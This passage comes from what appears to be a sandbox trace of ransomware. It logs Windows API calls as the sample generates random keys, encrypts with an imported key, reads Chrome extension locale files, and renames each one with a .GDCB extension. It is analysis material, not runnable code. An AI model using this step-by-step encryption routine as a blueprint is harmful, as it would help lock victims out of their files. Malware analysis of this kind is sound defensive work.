Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json.gdcb")) returned 1 [0268.572] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0268.575] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.578] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.578] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0268.578] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.578] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0268.582] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.584] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.584] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0268.584] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0268.585] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0268.587] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67972e0) returned 1 [0268.587] CryptGetKeyParam (in: hKey=0x67972e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.587] CryptEncrypt (in: hKey=0x67972e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0268.587] GetLastError () returned 0x0 [0268.587] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.587] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0268.589] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6797820) returned 1 [0268.589] CryptGetKeyParam (in: hKey=0x6797820, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.589] CryptEncrypt (in: hKey=0x6797820, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0268.589] GetLastError () returned 0x0 [0268.589] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0268.589] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0268.591] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0268.593] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0268.595] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xbe, lpOverlapped=0x0) returned 1 [0268.604] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0268.610] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json.gdcb")) returned 1 [0268.615] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0268.618] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.620] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.620] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0268.620] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0268.620] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0268.623] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.625] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.625] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0268.625] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0268.625] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0268.627] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67974a0) returned 1 [0268.627] CryptGetKeyParam (in: hKey=0x67974a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.627] CryptEncrypt (in: hKey=0x67974a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0268.628] GetLastError () returned 0x0 [0268.628] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.628] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0268.629] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67975e0) returned 1 [0268.629] CryptGetKeyParam (in: hKey=0x67975e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.629] CryptEncrypt (in: hKey=0x67975e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0268.630] GetLastError () returned 0x0 [0268.630] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0268.630] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0268.631] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0268.633] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0268.636] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x104, lpOverlapped=0x0) returned 1 [0268.645] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0268.651] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json.gdcb")) returned 1 [0268.657] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0268.659] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.661] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.661] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0268.662] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.662] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0268.664] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.666] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.666] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0268.666] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.666] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0268.668] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6797460) returned 1 [0268.668] CryptGetKeyParam (in: hKey=0x6797460, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.668] CryptEncrypt (in: hKey=0x6797460, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0268.669] GetLastError () returned 0x0 [0268.669] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.669] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0268.670] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67973a0) returned 1 [0268.671] CryptGetKeyParam (in: hKey=0x67973a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.671] CryptEncrypt (in: hKey=0x67973a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0268.671] GetLastError () returned 0x0 [0268.671] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.671] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0268.672] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0268.675] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0268.677] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0268.686] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0268.694] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json.gdcb")) returned 1 [0268.698] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0268.701] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.704] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.704] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0268.704] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.704] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0268.706] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.708] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.708] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0268.708] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.708] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0268.710] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6797660) returned 1 [0268.710] CryptGetKeyParam (in: hKey=0x6797660, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.710] CryptEncrypt (in: hKey=0x6797660, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0268.711] GetLastError () returned 0x0 [0268.711] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.711] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0268.712] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67976a0) returned 1 [0268.712] CryptGetKeyParam (in: hKey=0x67976a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.712] CryptEncrypt (in: hKey=0x67976a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0268.713] GetLastError () returned 0x0 [0268.713] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0268.713] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0268.714] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0268.716] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0268.719] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xc4, lpOverlapped=0x0) returned 1 [0268.727] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0268.733] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json.gdcb")) returned 1 [0268.738] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0268.741] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.743] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.743] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0268.743] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.743] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0268.745] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0268.747] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0268.747] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0268.747] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.748] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0268.750] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67973e0) returned 1 [0268.750] CryptGetKeyParam (in: hKey=0x67973e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.750] CryptEncrypt (in: hKey=0x67973e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0268.750] GetLastError () returned 0x0 [0268.750] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.750] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0268.752] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67974e0) returned 1 [0268.752] CryptGetKeyParam (in: hKey=0x67974e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0268.752] CryptEncrypt (in: hKey=0x67974e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0268.752] GetLastError () returned 0x0 [0268.752] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0268.752] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0268.753] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0268.756] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0268.758] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x150, lpOverlapped=0x0) returned 1 [0268.767] VirtualAlloc (lpAddress=0x0, dwSize=0x150, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0268.773] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user 